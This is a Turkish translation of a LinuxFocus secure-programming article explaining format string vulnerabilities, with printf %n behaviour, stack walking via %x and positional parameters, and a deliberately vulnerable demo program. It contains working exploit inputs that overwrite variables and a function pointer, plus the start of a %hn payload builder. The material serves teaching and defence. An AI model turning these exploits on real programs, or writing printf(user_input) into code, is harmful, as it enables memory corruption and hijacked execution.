[LinuxFocus-icon]
Ev  |  Eri�imd�zeni  |  ��indekiler  |  Arama

Duyumlar | Belgelikler | Ba�lant�lar | LF Nedir
Bu makalenin farkl� dillerde bulundu�u adresler: English  Deutsch  Francais  Nederlands  Portugues  Russian  Turkce  

convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier

Yazar hakk�nda:

Christophe Blaess ba��ms�z bir aeronotic m�hendisidir. Kendisi Linux hayran�d�r ve il�rerinin bir�o�unu Linux alt�nda yapmaktad�r. Linux Kaynakyaz�land�r�m Projesi (Linux Documentati�n Project) taraf�ndan yay�mlanan man sayfalar�n�n �evirilmesini y�netmektedir.

Christophe Grenier ESIEA'da ��renci olarak 5. y�l�ndad�r ve ayn� zamanda burada sistem y�neticili�i yapmaktad�r. Bilgisayar g�venli�i konusunda �zel merak� vard�r.

Frédéric Raynal, �evreyi kirletmedi�i, hormon kullan�lmad���, MSG veya hayvansal malzemeler kullan�lmad��� ve sadece tatl�dan olu�tu�u i�in Linux i�letim sistemini y�llard�r kullanmaktad�r.


��erik:

 

4. B�l�m - Uygulama geli�tirme s�ras�nda g�venlik a��klar�ndan ka��nmak.

[article illustration]

�eviri : Erdal MUTLU

�zet:

Bir s�redir katarlar�n bi�imlendirilmesi ile ilgili g�venlik a��klar�n�n say�s�nda olduk�a �nemli art��lar g�zlenmektedir. Bu makalede tehlikenin nereden geldi�i anlat�makta ve program i�erisinde alt� byte kazanmak i�in yap�lanlar g�venlik konusunda verilmi� bir tavizin nas�l ortaya ��kt���n� g�stermektedir.



 

Tehlike bunun neresinde ?

G�venlik a��klar�n�n bir�o�u k�t� yap�lm�� yap�land�rmalardan veya tembellikten dolay� ortaya ��kmaktad�r. Bu yarg� katarlar�n bi�imlendirilmesi i�in de ge�erlidir.

Genellikle program i�erisinde null ile sonland�rlm�� katarlarlar�n kullan�m�na gereksinim vard�r. Bunun program i�erisindeki yeri �nemli de�ildir. Sorun belle�e dou�rudan yap�lan yazma i�leminden kaynaklanmaktad�r. Sald�r�, stdin, dosyalar ve benzeri yerlerden gelebilir. Tekbir komut yeterli olmaktad�r:

printf("%s", str);

Bunun yan�nda programc�, alt� byte ve zamandan kazanmak isteyebilir ve :

printf(str);

yazabilir. Akl�nda sadece "ekonomi" vard�, ancak programc� kendi program�nda olas� bir g�venlik a���� yaratm�� olur. Ekranda g�r�nt�lenmek �zere tek parametre kulland��� i�in programc� memnun. Ancak, karakter katar� i�erisinde (%d, %g...) gibi bi�imlendirme i�aretlerine kar�� incelenecektir. E�er, b�yle bir i�aret bulunursa, buna kar�� gelen parametre, y���t �zerinde aranacakt�r.

��e printf() fonksiyonlar� ailesini tan�tmakla ba�layaca��z. Ayr�nt�l� olarak olmasa da herkes en az�ndan bu fonksiyonlar� tan�yor. Biz bu fonksiyonlar�n az bilinen y�nleri ile ilgilenece�iz. Daha sonra b�yle bir hatadan yararlanman�n bilgisini de verece�iz. Sonunda, b�t�n bu anlat�lanlar� bir �rnek �zerinde g�sterece�iz.

 

Katar bi�imlendirilmesine derin bir bak��

Bu b�l�mde katarlar�n bi�imlendirilmesini ele alaca��z. Ba�lang��ta, kullan�mlar�n� �zetleyece�iz, daha sonra az bilinen bir bi�imlendirme i�aretini ke�fedece�iz.  

printf() : onlar bana yalan s�yledi !

Fransa'da ya�amayanlar i�in bir not : bizim g�zel �lkemizde ya�ayan bir bisiklet yar����s�, aylard�r hi� doping ilac� kullanmad���n� etti. Ayn� zamanda tak�m arkada�lar� ald���n� s�yl�yorlar. Kendisi, bilin�li olarak doping almad���n� iddia ediyor. Ben de bu ba�l�k i�in, bir Frans�z s�z� olan "on m'aurait menti !"' dan esinlendim.

Hepimizin bildi�i ve programlama kitaplar�nda yer alan C'de giri�/��k�� fonksiyonlar�n�n bir�o�u verileri bi�imlendirilmi� olarak i�lemektedir. Bunun anlam�, verileri i�lemek i�in sadece verinin kendisini de�il, ayn� zamanda nas�l g�sterilece�ini de belirtmek gerekmektedir. A�a��daki program bu konuyu g�stermektedir :

/* display.c */
#include <stdio.h>

main() {
  int i = 64;
  char a = 'a';
  printf("int  : %d %d\n", i, a);
  printf("char : %c %c\n", i, a);
}
Program� �al��t�rd���n�zda :
>>gcc display.c -o display
>>./display
int  : 64 97
char : @ a
�lk printf() fonksiyonu i tamsay� ve a karakter de�i�kenlerinin de�erlerini int olarak yazmaktad�r (bu %d bi�imlendirme i�areti kullan�larak yap�lm��t�r). B�ylece, a'n�n ASCII de�eri elde edilmektedir. Di�er taraftan, ikinci printf fonksiyonu, tamsay� de�i�keni olan i'nin ASCII tablosundaki kar��l��� olan 64 de�erini g�stermektedir.

�imdiye kadar yeni bir �ey yok. Her�ey printf ve benzeri fonksiyonlar�n�n sahip oldukalr� tan�mlamaya uygundur :

  1. Se�ilen bi�imi, karakter katar� bi�imindeki tek parametre (const char *format) belirlemektedir;
  2. �nceki katarda belirtilen i�aretlere g�re bi�imlendirilecek bir veya birden fazla parametre, de�i�kenler arac�l��� ile belirtilebir.

Genelde, bi�imlendirme i�aretlerinin bir listesi (%g, %h, %x ve . say�lardaki duyarl�l��� belirttiyor) verildikten sonra bu konudaki bir�ok programlama dersi burada sona ermektedir. Ama hi� konu�ulmayan bir�ey daha vard�r : %n. printf() fonksiyonunun man sayfas�nda bununla ilgili �unlar yazmaktad�r :

Bu ana kadar yaz�lan karakterlerin say�s� int * ile belirtilen bir i�aret�i tamsay� de�i�keninde saklanmaktad�r. Parametre �evirilmesi yap�lmamaktad�r.

Sadece bir g�r�nt�leme fonksiyonu olmas�na ra�men, bu parametre bir i�aret�i de�i�kene yaz�lmas�n� sa�lamaktad�r. Makalenin en �nemli k�sm� budur!

Devam etmeden �nce, bu bi�imlendirme �ekli scanf() ve syslog() ailesinden olan fonksiyonlar i�in de ge�erli oldu�unu s�ylemek gerekir.

 

Oyun zaman�

Bu bi�imlendirme �eklinin �zelliklerini k���k �rnek programlar arac�l�yla inceleyece�iz. �rneklerden ilki olan printf1 �ok basit bir kullan�m� g�stermektedir :

/* printf1.c */
1: #include <stdio.h>
2:
3: main() {
4:   char *buf = "0123456789";
5:   int n;
6:
7:   printf("%s%n\n", buf, &n);
8:   printf("n = %d\n", n);
9: }

�lk printf() fonksiyonu 10 karakterden olu�an bir katar� ekrana yazmaktad�r. %n bi�imlendirme i�areti sayesinde, bu de�er n de�i�kenine yazi�lmaktad�r. Program� derleyip, �al��t�r�rsak :

>>gcc printf1.c -o printf1
>>./printf1
0123456789
n = 10
elde ederiz. �imdi program� biraz de�i�tirelim. Bunun i�in 7.sat�rdaki printf() ifadesini a�a��daki :
7:   printf("buf=%s%n\n", buf, &n);
ile de�i�tirelim.

Bu program �al��t�r�ld���nda d���ncemiz do�rulanmaktad�r : n de�i�keni art�k 14 (10 karakter buf den ve 4 karakter de bi�imlendirme katar�ndan "buf=") t�r.

Demek ki %n, bi�imlendirme katar�nda yer alan t�m karakterleri saymaktad�r. printf2 program�nda da g�rece�imiz gibi, daha da fazlas�n� saymaktad�r :

/* printf2.c */

#include <stdio.h>

main() {
  char buf[10];
  int n, x = 0;

  snprintf(buf, sizeof buf, "%.100d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
}
snprintf() fonksiyonun kullan�lmas�n�n nedeni, bellek ta�malar�n� �nlemektir. n de�i�keninin de�eri 10 olmal�d�r.
>>gcc printf2.c -o printf2
>>./printf2
l = 9
n = 100
Garip de�il mi ? Ger�ekte, %n yaz�lmas� gereken karakter say�s�n� ele almaktad�r. Bu �rnek, boyut a��lmas�ndan dolay� yap�lmas� gereken k�saltma�n g�zard� edildi�ini g�stermektedir.

Ger�ekte ne oldu? Olan �u, bi�imlendirme katar� �nce geni�letildi, sonra boyutu kadar� al�nd� (kesildi) ve hedef bellek alan�na kopyaland�:

/* printf3.c */

#include <stdio.h>

main() {
  char buf[5];
  int n, x = 1234;

  snprintf(buf, sizeof buf, "%.5d%n", x, &n);
  printf("l = %d\n", strlen(buf));
  printf("n = %d\n", n);
  printf("buf = [%s] (%d)\n", buf, sizeof buf);
}
printf3 program�, printf2 program�na g�re baz� farkl�l�klar i�ermektedir: Program� derleyip �al��t�rd���m�zda a�a��daki sonucu elde ederiz :
>>gcc printf3.c -o printf3
>>./printf3
l = 4
n = 5
buf = [0123] (5)
�lk iki sat�r s�rpriz de�il. Son sat�r ise, printf() fonksiyonunun �al��ma �eklini g�stermektedir :
  1. Bi�imlendirme katar�ndaki komutlara 1 g�re "00000\0" katar� olu�turmu�tur;
  2. De�i�kenler olmas� gereken yerlerde, bunu �rne�imizdeki x de�i�keninin de�erinin kopyalanmas� g�stermektedir. Bunun sonucunda katar, "01234\0" �eklinde g�r�nmektedir;
  3. Son olarak bu katardan sizeof buf - 1 byte2 l�k k�s�m hedef buf katar�na kopyalanm�� ve "0123\0" elde edilmi�tir.
Bu i�leyi�in genel olarak nas�l oldu�unu g�stermektedir. Daha fazla bilgi i�in okuyucu GlibC belgelerine, �zellikle ${GLIBC_HOME}/stdio-common dizinindeki vfprintf() fonksiyonuna bakabilir.

Bu b�l�m� bitirmeden �nce, ayn� sonu�lar� bi�imlendirme �eklini biraz de�i�tirerek de elde etmenin m�mk�n oldu�unu s�ylemek gerekir. Daha �nce, duyarl�l�k ('.' nokta) denilen bi�imlendirmeden faydalanm��t�k. Benzer sonu�lar� : 0n ile elde etmek m�mk�nd�r. Buradaki, n say�s�, katar geni�li�ini, 0 ise, katar�n alabilece�i kapasite doldurulmad�ysa, geriye kalan k�s�mlar� bo�luklarla tamamlanmas� i�in konulmu�tur.

Art�k katar bi�imlendirmeleri konusunda hemen hemen her�eyi, �zellikle de %n konusunda, ��rendi�inize g�re �imdi bunlar�n davran��lar�n� inceleyece�iz.

 

Y���t ve printf()

 

Y���t �zerinde y�r�mek

�imdiki program, printf() fonksiyonu ile y���t aras�ndaki ili�kinin ne oldu�unu ��renmede bize rehberlik edecektir :

/* stack.c */
 1: #include <stdio.h>
 2:
 3: int
 4  main(int argc, char **argv)
 5: {
 6:   int i = 1;
 7:   char buffer[64];
 8:   char tmp[] = "\x01\x02\x03";
 9:
10:   snprintf(buffer, sizeof buffer, argv[1]);
11:   buffer[sizeof (buffer) - 1] = 0;
12:   printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
13:   printf ("i = %d (%p)\n", i, &i);
14: }
Program, parametre ile verilen de�eri buffer karakter dizisine kopyalamaktad�r. Verilerin bellek ta�mas� sonucu �zerine yaz�lmamas� i�in �zen g�stermekteyiz (bi�imlendirme katarlar�, bellek taimalar�na g�re ger�ekten daha �zenlidirler).
>>gcc stack.c -o stack
>>./stack toto
buffer : [toto] (4)
i = 1 (bffff674)
Program, tam bekledi�imiz gibi �al��maktad�r :) Daha ileriye gitmeden �nce, 8. sat�rdaki snprintf() fonksiyonu �a��rma s�ras�nda y���t taraf�nda neler oldu�una bir bakal�m.
Fig. 1 : snprintf() fonksiyonunu �a��rmadan �nce y���t�n durumu.
snprintf()

1 �izimi, snprintf() fonksiyonunu �a��rmadan �nceki y���t�n durumunu g�stermektedir (bunun do�ru olmad���n� g�rece��z...). Bu �izim sadece olanlar hakk�nda bir fikir vermek i�in haz�rlanm��t�r. %ebp registerin alt�nda bir yerde bulunan %esp registerini dikkate almayaca��z. Daha �nceki makaleden hat�rlanaca�� �zere, %ebp ve %ebp+4'de bulunan ilk de�er, s�ras�yla %ebp ve %ebp+4'�n yedekleridir. Daha sonra snprintf() fonksiyonunun parametreleri gelmektedir :

  1. hedef adres de�eri;
  2. kopyalanacak karakter say�s�;
  3. veri olarak i� g�ren, argv[1] bi�imlendirme katar�n�n adresi gelmektedir.
Son olarak, y���t�n tepesinde 4 byte'l�k tmp karakter dizisinin verileri, 64 byte'l�k buffer ve i tamsay� de�ikeni yer almaktad�r.

argv[1] katar� ayn� zamanda hem bi�imlendirme ve hemde veri olarak kullan�lmaktad�r. snprintf() fonksiyonunun normal s�ras�na g�re bi�imlendrime katar� yerine argv[1] g�z�kmektedir. Bi�imlendirme katar�n�, bi�imlendirme i�aretleri olmadan da kullanabilece�imize g�re (sadece metin gibi) her�ey yolunda demektir :)

Peki, argv[1] i�erisinde bi�imlendirme i�aratleri oldu�unda acaba ne olmaktad�r? Normalde, snprintf() foksiyonu onlar� oldu�u gibi de�erlendirmektedir, ba�ka t�rl� olmas� i�in bir neden yoktur! Ancak, burada bi�imlendirme i�in, hangi parametrelerin veri olarak kullan�laca��n� merak edebiliriz. Ger�ekte snprintf() fonksiyonu gerekli verileri, y���ttan almaktad�r! Bunun b�yle oldu�unu, stack program�ndan g�rebilirsiniz :

>>./stack "123 %x"
buffer : [123 30201] (9)
i = 1 (bffff674)

�lk �nce "123 " katar� buffer �zerine kopyalanmaktad�r. %x ifadesi, ilk parametreyi �evirmesi i�in snprintf() fonksiyonundan istekte bulunmaktad�r. 1 �iziminden de anla��laca�� �zere, ilk parametre \x01\x02\x03\x00 de�erine sahip olan tmp de�i�keninden ba�kas� de�ildir. x86 i�lemcimizin k���k indian mimarisine g�re bu katar�n 16'l�k say� taban�na g�re de�eri 0x00030201 olmaktad�r.

>>./stack "123 %x %x"
buffer : [123 30201 20333231] (18)
i = 1 (bffff674)

�kinci bir %x eklenmesiyle, y���t �zerinde daha da yukar�ya ula�abiliriz. Bu snprintf() fonksiyonuna daha sonraki 4 byte'a bakmas�n� s�ylemektedir. Ger�ekte bu 4 byte buffer de�i�keninin 4 byte d�r. buffer de�i�keni, "123 " katar�n� i�ermektedir, 16'l�k say� taban�na g�re bu de�er 0x20333231 (0x20=bo�luk, 0x31='1'...) dir. Dolay�s�yla her %x i�in, snprintf() fonksiyonu y���t �zerinde bulunan buffer de�i�keninin 4 byte'�na (4 byte olmas�n�n nedeni, x86 i�lemcisi unsigned int i�in 4 byte ay�rmaktad�r) daha ula�maktad�r. Bu de�i�ken iki i�levi yerine getirmektedir:

  1. hedefe yazmak;
  2. bi�imlendirme i�in giri� ayg�t�ndan veri okumak.
Y���t �zerinde yukar�ya olan t�rman���m�z, bellekte bytelar oldu�u s�rece m�mk�nd�r:
>>./stack "%#010x %#010x %#010x %#010x %#010x %#010x"
buffer : [0x00030201 0x30307830 0x32303330 0x30203130 0x33303378
         0x333837] (63)
i = 1 (bffff654)
 

Hatta daha yukar�ya

Bir �nceki y�ntem, bellek �zerindeki �nemli bilgilere bakmam�z� sa�lamaktad�r, hatta y���t� yaratan fonksiyonun d�n�� adresine de ula�abiliriz. Ancak, do�ru bi�imlendirme kullan�larak daha �teye de gidilebilinir.

Parametreler aras�nda yerde�i�tirme gerekti�i durumda (s�zgelimi tarih ve saat bilgilerini g�stermek gerekti�inde) uygun bi�imlendirme ifadesini bulmak m�mk�nd�r. Biz, % i�aretinin hemen ard�na m >0 bir tamsay� olmak �zere m$ ifadesini ekledik. Bu bize, parametre listesinde kullan�lacak de�i�kenin yerini (1'den ba�lamak �zere) vermektedir :

/* explore.c */
#include <stdio.h>

  int
main(int argc, char **argv) {

  char buf[12];

  memset(buf, 0, 12);
  snprintf(buf, 12, argv[1]);

  printf("[%s] (%d)\n", buf, strlen(buf));
}

m$ bi�imlendirme ifadesi sayesinde, y���t �zerinde, gdb ile yapabildi�imiz gibi istedi�imiz yere gidebiliyoruz :

>>./explore %1\$x
[0] (1)
>>./explore %2\$x
[0] (1)
>>./explore %3\$x
[0] (1)
>>./explore %4\$x
[bffff698] (8)
>>./explore %5\$x
[1429cb] (6)
>>./explore %6\$x
[2] (1)
>>./explore %7\$x
[bffff6c4] (8)

Buradaki \ karakteri, kabuk program�n�n $ karakterini ba�ka t�rl� yorumlamas�n� �nlemek amac�yla konulmaktad�r. �lk �� �al��t�rmada, buf de�i�keninin i�eri�ini elde ettik. %4\$x ifadesiyle, %ebp register�nda yedeklenmi� de�eri ve %5\$x ifadesiyle, %eip register �zerine yedeklenmi� de�eri (d�n�� adresleri) elde ettik. Son iki �al��t�rmada ise, argc de�i�keninin de�erini ve *argv de yer alan adres de�erini (unutmay�n ki **argv ifadesi, *argv'nin de�erleri adresler olan bir dizidir) elde ettik.

 

K�saca ...

Bu �rnekte de g�r�ld��� gibi, verilen bi�imlendirme ifadelerine g�re y���t �zerinde bilgi arayabilir, adresler bulabiliriz vs. Ayn� zamanda, bu makalenin ba��nda g�rd�k ki printf() ailesinden olan fonksiyonlar yard�m�yla buralara yzabiliriz. Bu size de bir potansiyel g�venlik a���� olarak g�r�nm�yor mu?

 

�lk ad�mlar

stack program�na geri d�nelim:

>>perl -e 'system "./stack \x64\xf6\xff\xbf%.496x%n"'
buffer : [döÿ¿000000000000000000000000000000000000000000000000
00000000000] (63)
i = 500 (bffff664)

Giri� katar� olarak �unlar� veriyoruz::
  1. i de�i�keninin adresinini;
  2. (%.496x) bi�imlendirme ifadesini;
  3. (%n) ifadesini, verilen adrese yazmak i�in veriyoruz.
i de�i�keninin adresini (burada 0xbffff664) bulabilmek i�in program� iki defa �al��t�rabiliriz ve komut sat�r�ndaki parametreleri de ona g�re de�i�tirebiliriz. G�r�ld��� gibi, i'nin yeni de�eri var :) Verilen bi�imlendirme ifadesi ve y���t�n yap�land�rmas� snprintf() fonksiyonun a�a��daki gibi g�r�nmesini sa�lamaktad�r :
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         katardaki 4  byte);

i adresini i�eren ilk d�rt byte, buffer katar�n�n ba��na yaz�lmaktad�r. %.496x bi�imlendirme ifadesi, y���t�n ba��nda bulunan tmp de�i�keninden kurtulmam�z� sa�lamaktad�r. Ondan sonra %n bi�imlendirme ifadesi verildi�inde, art�k i de�i�keninin adresi buffer katar�n�n ba��nda yer alacakt�r. 496 byte'l�k duyarl�l��a sahip olmam�z gerekirken, snprintf fonksiyonu maksimum 60 byte yazmaktad�r (��nk�, katar�n boyutu 64't�r ve 4 byte zaten yaz�lm��t�). 496 rakam� rastgele olu�mu�tur ve sadece "byte sayac�n�" ayarlamak amac�yla kullan�lmaktad�r. %n ifadesinin kendisinden �nce yaz�lm�� byte say�s�n� elde etmekte kullan�ld���n� daha �nce g�rm��t�k. Buradan elde edilen de�er 496 d�r ve biz buna buffer ba��nda bulunan i de�i�keninin 4 byte'l�k adres de�erini eklememiz gerekmektedir. Sonu�ta 500 elde edilmektedir. Bu de�er, y���t �zerinde sonraki adrese, i de�i�keninin adresine, yazmam�z� sa�layacakt�r.

Bu �rnekten hareketle daha da ileriye gidebiliriz. i'yi de�i�tirmek i�in, onun adresine sahip olmam�z gerekmektedir... Ama bazen program�n kendisi bize bu bilgiyi vermektedir :

/* swap.c */
#include <stdio.h>

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &cpt1;
  int addr_cpt2 = &cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}

Bu program� �al��mas�, y���t� istedi�imiz (hemen hemen) gibi kullanabilece�imizi g�stermektedir:

>>./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
>>./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
>>./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0

G�r�ld��� gibi, parametrenin de�erine g�re, cpt1 veya cpt2 de�i�keninin de�erini de�i�tirebiliyoruz. %n bi�imlendirme ifadesi parametre olarak adres istemektedir, bu nedenledir ki biz de�i�kenleri do�rudan (%3$n (cpt2) veya %4$n (cpt1) kullanarak) de�i�tiremiyoruz. Bunu ancak, i�aret�iler kullanarak yapabiliyoruz. Bu da bize, �zerinden bir s�r� de�i�iklik yapabilece�imiz "yeni malzeme" vermektedir.

 

Ayn� konudaki farkl�l�klar

Daha �nce g�sterdi�imiz �rnek programlar, egcs-2.91.66 ve glibc-2.1.3-22 kullanarak derlenmi�ti. Ancak, siz kendi bilgisayar�n�zda ayn� sonu�lar� elde edemeyebilirsiniz. *printf() �eklindeki fonksiyonlar, glibc g�re de�i�mektedir ve derleyiciler ayn� i�lemleri yerine getirmemektedir.

stuff program� farkl�l�klar� ortaya ��kartmaktad�r:

/* stuff.c */
#include <stdio.h>

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc < 2) {
    printf("Usage : %s <format>\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}

aaa ve bbb dizileri, y���t �zerindeki gezintimiz s�ras�nda ayra� olarak g�rev yapmaktad�r. Dolay�s�yla, 424242 buldu�umuz anda, ondan sonra gelen byte'lar buffer de�i�keninin bilgileri olacakt�r. 1 tablosunda, glibc'nin ve derleyicilerinin farkl� s�r�mlerinde elde edilmi� de�erleri g�rmekteyiz.

Tab. 1 : glibc aras�ndaki farkl�l�klar    
Derleyici
glibc
G�r�nt�
gcc-2.95.3 2.1.3-16 buffer = [8048178 8049618 804828e 133ca0 bffff454 424242 38343038 2038373] (63)
egcs-2.91.66 2.1.3-22 buffer = [424242 32343234 33203234 33343332 20343332 30323333 34333233 33] (63)
gcc-2.96 2.1.92-14 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)
gcc-2.96 2.2-12 buffer = [120c67 124730 7 11a78e 424242 63303231 31203736 33373432 203720] (63)

Makalenin geri kalan�nda biz egcs-2.91.66 ve glibc-2.1.3-22 kullanaca��z, e�er siz kendi bilgisayar�n�zda ba�ka sonu�lar elde edersiniz, hi� �a��rmay�n.

 

Bi�imlendirme a����n� kullanmak

Katar ta�malar�n� kullan�rken, d�n�� de�eri �zerine yazabilmek i�in bir katardan faydalanm��t�k.

Bi�imlendirme katarlar� durumunda ise, her yere (y���t, heap, bss, .dtors, ...) gidebilece�imizi g�rd�k, sadece nerey ve ne yazaca��m�za karar vermemiz yeterli, geriye kalan i�i %n yerine getirecektir.

 

Tehlikeli (vulnerable) program

Bi�imlendirme a��klar�ndan farkl� y�ntemler kullanarak yararlanabiliriz. P. Bouchareine'�n (Bi�imlendirme katar� tehlikesi (vulnerability)) makalesinde, bir fonksiyonunun d�n�� adresini �zerine nas�l yaz�laca��n� veya de�itirilece�ini g�stermektedir. Biz ba�ka bir �ey g�sterece�iz.
/* vuln.c */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
    exit(-1);
  }
  for(i=0;i<argc;i++)
    printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

ptrf ad�nda ve fonksiyon i�aret�isi olan bir de�i�ken tan�mlad�k. Bu de�i�kenin de�erini, �al��t�rmak istedi�imiz fonksiyonu g�sterecek �ekilde de�i�tirece�iz.

 

�lk �rnek

�lk �nce, buffer de�i�kenin ba�lang�c� ile y���t aras�ndaki uzakl��� bulmam�z gerekiyor :

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Program� ilk �al��t�rd���m�zda istedi�imizi elde ediyoruz : buffer de�ikeninden bizi 3 kelime (x86 i�lemcilerinde bir kelime = 4 byte d�r) ay�rmaktad�r. Bunun ger�ekte b�yle oldu�unu program� AAAA%3\$x parametresini vererek ikinci defa �al��t�rd���m�zda anl�yoruz.

Amac�m�z, ptrf de�i�kenin ba�lang��ta i�aret etti�i 0x8048634 (helloWorld() fonksiyonunun adresi) adresinden, 0x8048654 (accessForbidden() fonksiyonunun adresi) adresini g�sterecek �ekilde de�i�tirmektir. Bunun i�in 0x8048654 byte (16'l�k tabana g�re, bu yakla��k 128 MB d�r), yazmam�z gerekecektir. T�m bilgisayarlar bu kadar belle�e sahip olmayabilirler, ama bizim bilgisayarda bu kadar bellek var:) 350 MHz'lik iki i�lemcili Pentium olan bilgisayar�m�zda bu i�lem 20 saniye s�rd� :

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Ôõÿ¿000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Biz ne yapt�k? Yapt���m�z �ey sadece ptrf (0xbffff5d4) adresini sa�lamak oldu. Sonraki bi�imlendirme ifadesi (%.134514256x) y���t �zerindeki 134514256 byte �tede bulunan ilk kelimeyi (ptrf de�i�kenininden itibaren 4 byte zaten yazm��t�k, dolay�s�yla geriye 134514260-4=134514256 byte kal�yor) okumaktad�r. Sonunda, istedi�imiz de�eri, verilmi� olan adrese (%3$n) yazm�� olduk.

 

Bellek sorunlar�: b�l ve kazan

Ancak, daha �nce de s�yledi�imiz gibi, 128 MB'l�k bellek kullanmak herzaman m�mk�n de�ildir. %n bi�imlendirme ifadesinin, 4 byte'l�k bir tamsay� de�i�kenini g�sterecek bir i�aret�iye ihtiyac� vard�r. %hn bi�imlendirme ifadesi sayesinde bunu, short int - 2 byte'l�k bir i�aret�i kullanacak �ekilde de�i�tirebiliyoruz. Dolay�s�yla yazmak istedi�imiz tam say� de�erini iki b�l�me ay�rm�� oluyoruz. Yaz�labilecek en b�y�k k�s�m art�k, 0xffff byte'a (65535 byte) s��maktad�r. B�ylece, �nceki �rnekte yer alan "0xbffff5d4 adresi �zerine 0x8048654" yazma i�lemini, iki ard���k i�lem haline getiriyoruz :

�kinci yazma i�lemi, tamsay�lar�n �st bytelar� �zerinde ger�ekle�mektedir, bu da 2 byte'l�k de�i�ikli�i a��klamaktad�r.

Ancak, %n (veya %hn) ifadesi, katar �zerine yaz�lan toplam karakter say�s�n� saymaktad�r. Bu say� sadece artabilmektedir. �lk �nce, ikisi aras�ndaki en k���k de�eri yazmam�z gerekir. Ondan sonra, ikinci bi�imlendirme ifadesi, duyarl�l�k olarak yaz�lan ilk say� ile gerekli say� aras�ndaki fark� kullanacakt�r. S�zgelimi, bizim �rnekte, ilk bi�imlendirme i�lemi %.2052x (2052 = 0x0804) ve ikincisi %.32336x (32336 = 0x8654 - 0x0804) olmal�d�r. Hemen arkadan yaz�lan her %hn ifadesi, byte say�s�n� do�ru olarak hesaplayacakt�r.

Bizim sadece %hn ifadelerini nereye yazaca��m�z� belirlememiz gerekecektir. Bunun i�in, m$ ifadesi bize yard�mc� olacakt�r. E�er, adresleri katar�n ba��na kaydedersek, m$ ifadesinin yard�m�yla y���t �zerinde hareket ederek, gerekli uzakl��� bulabiliriz. Ondan sonra iki adres de m ve m+1 uzakl�kta olacakt�r. Katar�n ilk 8 byte'�na �zerine yaz�lacak adres de�erini kaydetti�imiz i�in, ilk yaz�lan de�erden 8 ��kartmak gerekecektir.

Bi�imlendirme katar� a�a��daki gibi olamaktad�r:

"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max - val. min.]x%[offset+1]$hn"

Bi�imlendirme katar�n� olu�turmak i�in, build program� �� parametre kullanmaktad�r:

  1. de�i�tirilecek (�zerine yaz�lacak) adres;
  2. oraya yaz�lacak de�er;
  3. katar ba��ndan itibaren olan uzakl�k (kelime olarak).
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   Yaz�lacak 4 byte �u �ekilde yerle�tirilmektedir :
   HH HH LL LL
   "*h" ile biten de�i�kenler kelimenin �st k�sm�n� g�stermektedir (H).
   "*l" ile biten de�i�kenler kelimenin alt k�sm�n� g�stermektedir (L).
 */
char* build(unsigned int addr, unsigned int value,
      unsigned int where) {

  /* do�ru de�eri bulabilmek i�in olduk�a tembel... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* de�eri ayr�nt�land�rma */
  valh = (value >> 16) & 0xffff; //�st
  vall = value & 0xffff;         //alt

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* katar i�in bellek ay�r�m� */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
